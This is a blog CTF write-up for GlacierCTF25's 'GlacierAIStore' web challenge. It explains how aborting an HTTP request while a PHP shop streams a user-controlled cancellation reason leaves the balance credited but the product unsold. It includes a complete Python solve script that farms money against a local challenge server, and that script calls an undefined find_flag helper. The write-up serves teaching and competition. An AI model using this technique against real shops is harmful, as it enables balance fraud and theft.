saiger.dev

CTF Writeup - GlacierCTF25 - GlacierAIStore

Published: 2025-11-23 − Reading Time: 4.5 minutes

Writeup

https://github.com/LosFuzzys/GlacierCTF2025_writeups/tree/main/web/glacier-ai-store

This challenge welcomes you with an AI chatbot that navigates the page. You can create an account and log in to it. You can order products from the Glacier AI Store and cancel an order.

Exploit Technique

At first glance, there seems to be nothing wrong. To obtain the flag, we need to have a balance of at least 1000 EUR, so we need to exploit the buy/sell methods.

$loginID = getLoginID();
if(decreaseBalance($loginID, $products[$product]["price"])) {
  respondText($USER, $btn);
  buyProduct($loginID, $product);

Buying a product seems safe. We first decrease the balance, and then we buy the product. Input is sanitized and checked, so there is nothing to get here.

$loginID = getLoginID();
if(!hasUserProduct($loginID, $sell)) goto product_list;
increaseBalance($loginID, $products[$sell]["price"]);
if(isset($reason) && strlen($reason) > 0)
  respondText($USER, $reason);
sellProduct($loginID, $sell, $reason);

The selling function, however, is much more interesting. First, we increase the balance and then we cancel the order. We also print the cancellation reason, which is controlled by the user, in between the increaseBalance and sellProduct, which is a bit weird.

Investigating the respondText method gives us:

// Emulates this super fancy AI response thingy
function respondText($type, $msg="") {
  $textToStream = $type . $msg;
  for($i = 0; $i < strlen($textToStream); $i++) {
    echo $textToStream[$i];
    usleep(50000);
    ob_flush();
    flush();
  }
}

What's interesting is the use of the usleep, ob_flush and flush methods. The usleep emulates the smooth text generation and ob_flush and flush flushes the written content directly to the client, so we can print it while processing the request.

Why race conditions won't work here (edit: at least why I thought it)

Mostly, when you have a scenario like this, you would guess it is some kind of race condition between increaseBalance and sellProduct, as you control $reason and can, therefore, control the time window between those two functions. However, PHP sessions prevent that. When you call session_start, the session is automatically locked as long as the script runs or as long as you manually unlock the session.

Edit: Some players have figured out that you can create different sessions with the same login, which I haven't initially haven't accounted for.

Exploit Idea

The challenge uses the apache webserver. Apache handles web requests for you and invokes and runs the script file. One fascinating thing is, that PHP script runs (!with caveats) by default as long as the client is connected. When the client disconnects during a request (and PHP recognizes it!), then the script stops.

So, how does the PHP script know, if the client is still connected? It doesn't unless you flush and ob_flush often. See https://www.php.net/manual/en/function.connection-aborted.php#111167

Exploit

So all you have to do is to provide a long value for $reason when you sell the product and then cancel the request when it is written back to the user respondText($USER, $reason);. The PHP script stops and doesn't sell the product, leaving you an increased balance.

import re
import os
import requests
import random
import string

url = f"http://localhost:1337"

# Defining helper functions for account and product handling
sess = requests.Session()

# Sneaky peaky yoinked from https://stackoverflow.com/a/2257449
def random_string(N):
    return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
username = random_string(16)
password = random_string(16)

print(f"[+] Username: {username}")
print(f"[+] Password: {password}")

def register():
    uri = f"{url}/nav/index.php?p={0xFC}"
    res = requests.post(uri, data={
        "form": "register",
        "username": username,
        "password": password,
        "password_repeat": password
    }, headers=headers)
    if "Registration failed" in res.content.decode():
        print("[+] could not create account")

def login():
    uri = f"{url}/nav/index.php?p={0xFC}"
    res = sess.post(uri, data={
        "form": "login",
        "username": username,
        "password": password,
    })
    if "Login failed" in res.content.decode():
        print("[+] could not login to account")

def buy(product):
    uri = f"{url}/nav/index.php?p={0x91}"
    sess.post(uri, data={
        "product": product,
    })
    sess.post(uri, data={
        "btn": "yes",
    })

def sell(product):
    try:
        uri = f"{url}/nav/index.php?p={0x91}"
        with sess.post(uri, data={
            "sell": product,
            "reason": "\x0C" + ("A" * 100)
        }, stream=True) as resp:
            for c in resp.iter_content(chunk_size=1):
                # print(c)
                if c == b"\x0C":
                    resp.close()
    except:
        pass

def overview():
    uri = f"{url}/nav/index.php?p={0xFD}"
    res = sess.get(uri)
    content = res.content.decode()
    m = re.findall(r"Current Balance: (\d+)", content)
    if len(m) == 0:
        return content
    print(f"\r[+] Current Balance: {m[0]}", end="")
    return content

register()
login()

def farmMoney(product, amount):
    buy(product)
    for i in range(amount):
        sell(product)
        overview()

farmMoney("stone", 10)
farmMoney("water", 10)
farmMoney("jar", 10)
buy("flag")

content = find_flag(overview())
print(content)

You can check out the solve script here.